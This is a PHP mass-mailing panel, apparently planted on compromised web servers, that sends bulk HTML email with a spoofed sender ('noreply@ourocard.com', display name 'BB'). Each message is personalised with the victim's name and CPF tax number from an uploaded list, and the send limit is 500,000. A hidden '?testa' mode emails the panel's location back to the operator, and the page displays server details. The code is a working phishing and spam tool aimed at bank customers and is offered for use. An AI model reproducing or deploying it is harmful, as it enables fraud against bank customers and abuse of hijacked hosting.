<?php
// ==================== CONFIGURAÇÃO FIXA ====================
// Configure aqui o remetente (não aparece no formulário)
$email_remetente = "noreply@ourocard.com";  // <-- ALTERE AQUI
$nome_remetente_padrao = "BB"; // Nome padrão se não preencher no form

$limite_envio = 500000;
$delay = 0;

// ==================== PROCESSAMENTO ====================
$enviados = 0;
$falhas = 0;
$logs = array();
$processou = false;

if(isset($_POST['veio']) && $_POST['veio'] == "sim") {
    $processou = true;
    $assunto_base = $_POST['assunto'];
    $nome_remetente = !empty($_POST['nome']) ? $_POST['nome'] : $nome_remetente_padrao;
    $html_base = stripslashes($_POST['html']);
    $lista_emails = $_POST['emails'];
    
    $emails_array = explode("\n", $lista_emails);
    $count = 1;
    $i = 0;
    
    while(isset($emails_array[$i]) && $i < $limite_envio) {
        $linha = trim($emails_array[$i]);
        
        if(!empty($linha)) {
            $dados = explode(';', $linha);
            $email_destino = trim($dados[0]);
            
            if(filter_var($email_destino, FILTER_VALIDATE_EMAIL)) {
                $nome_destino = isset($dados[1]) ? trim($dados[1]) : '';
                $cpf_destino = isset($dados[2]) ? trim($dados[2]) : '';
                
                $rnd = rand(10000000, 99999999);
                $datahora = date("d/m/Y h:i:s");
                
                // Substituições no HTML
                $mensagem = str_replace("%email%", $email_destino, $html_base);
                $mensagem = str_replace("%rand%", $rnd, $mensagem);
                $mensagem = str_replace("%nome%", $nome_destino, $mensagem);
                $mensagem = str_replace("%cpf%", $cpf_destino, $mensagem);
                
                // Substituições no Assunto
                $assunto = str_replace("%nome%", $nome_destino, $assunto_base);
                $assunto = str_replace("%rand%", $rnd, $assunto_base);
                
                // Headers
                $headers = "MIME-Version: 1.0\n";
                $headers .= "Content-type: text/html; charset=utf-8\n";
                $headers .= "From: ".$nome_remetente." <".$email_remetente.">\n";
                
                // Envio
                if(mail($email_destino, $assunto, $mensagem.$datahora, $headers)) {
                    $logs[] = array('status' => 'ok', 'num' => $count, 'email' => $email_destino);
                    $enviados++;
                } else {
                    $logs[] = array('status' => 'erro', 'num' => $count, 'email' => $email_destino);
                    $falhas++;
                }
                
                if($delay > 0) sleep($delay);
                $count++;
            }
        }
        $i++;
    }
}

// Modo teste simples
if(isset($_GET['testa'])) {
    $web = $_SERVER["HTTP_HOST"];
    $inj = $_SERVER["REQUEST_URI"];
    $target = rawurldecode($web.$inj);
    $envio = mail($email_remetente, "[v] http://".$target, "http://".$target, "From: test@".$web);
    if($envio) { 
        echo '<span style="font-family: monospace;">[+] XFOIZ</span><br>'; 
    } else { 
        echo '<span style="font-family: monospace;">[-] NonO</span><br>'; 
    }
    exit;
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>w33d_d4ng3r0777</title>
<style>
body { 
    font-family: monospace; 
    background: #000; 
    color: #0f0;
}
.container {
    width: 720px;
    margin: 0 auto;
    padding: 20px;
}
input, textarea {
    background: #111;
    color: #0f0;
    border: 1px solid #333;
    padding: 5px;
    font-family: monospace;
}
input[type="text"] { width: 88%; }
textarea { width: 40%; height: 150px; }
.btn {
    background: #003300;
    color: #0f0;
    border: 1px solid #0f0;
    padding: 10px 20px;
    cursor: pointer;
    font-family: monospace;
    font-weight: bold;
}
.btn:hover { background: #004400; }
.info-box {
    margin-top: 20px;
    font-size: 12px;
    color: #888;
}
.log-ok { color: #00ff00; }
.log-erro { color: #ff0000; }
.resultado {
    margin: 20px 0;
    padding: 10px;
    background: #001100;
    border: 1px solid #003300;
    max-height: 300px;
    overflow-y: auto;
}
</style>
</head>
<body>

<div class="container">
    <p style="text-align: center; font-size: 36px; color: #009; font-weight: bold; font-style: italic;">xd4ng3rx.</p>
    
    <?php if($processou): ?>
    <div class="resultado">
        <?php foreach($logs as $log): ?>
            <?php if($log['status'] == 'ok'): ?>
                <font color="#00FF00">( <?php echo $log['num']; ?> ) <b>xENVIADOXx <?php echo $log['num']; ?> <email><?php echo htmlspecialchars($log['email']); ?></email></b></font><br><hr>
            <?php else: ?>
                <font color="#FF0000">( <?php echo $log['num']; ?> ) <b>xFALHOUXx <?php echo $log['num']; ?> <email><?php echo htmlspecialchars($log['email']); ?></email></b></font><br><hr>
            <?php endif; ?>
        <?php endforeach; ?>
    </div>
    <div style="text-align: center; margin-bottom: 20px; color: #0f0;">
        Total: <?php echo $enviados; ?> OK / <?php echo $falhas; ?> Falhas
    </div>
    <?php endif; ?>
    
    <form action="" method="post" enctype="multipart/form-data">
        <input type="hidden" name="veio" value="sim" />
        
        <p style="text-align: center; font-size: 14px; font-weight: bold;">
            Assunto: <input name="assunto" type="text" id="assunto" style="width:88%" value="<?php echo isset($_POST['assunto']) ? htmlspecialchars($_POST['assunto']) : ''; ?>" />
        </p>
        
        <p style="text-align: center; font-size: 14px; font-weight: bold;">
            Remetente (Nome): <input name="nome" type="text" id="nome" style="width:88%" value="<?php echo isset($_POST['nome']) ? htmlspecialchars($_POST['nome']) : ''; ?>" placeholder="Nome que aparece no email" />
            <small style="display: block; color: #666; margin-top: 5px;">Email fixo no código: <?php echo $email_remetente; ?></small>
        </p>
        
        <p style="text-align: center; font-size: 14px; font-weight: bold;">
            HTML:
            <textarea name="html" id="html"><?php echo isset($_POST['html']) ? htmlspecialchars($_POST['html']) : ''; ?></textarea>
            
            *.*Lista
            <textarea name="emails" id="emails"><?php echo isset($_POST['emails']) ? htmlspecialchars($_POST['emails']) : ''; ?></textarea>
        </p>
        
        <p style="text-align: center;">
            <input type="submit" name="Submit" value="Enviar" class="btn" />
        </p>
    </form>
    
    <div class="info-box">
        Nome do Servidor: <?php echo @php_uname(); ?><br />
        IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br />
        Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br>
        Sistema Operacional: <?php echo @PHP_OS; ?>
    </div>
</div>

</body>
</html>
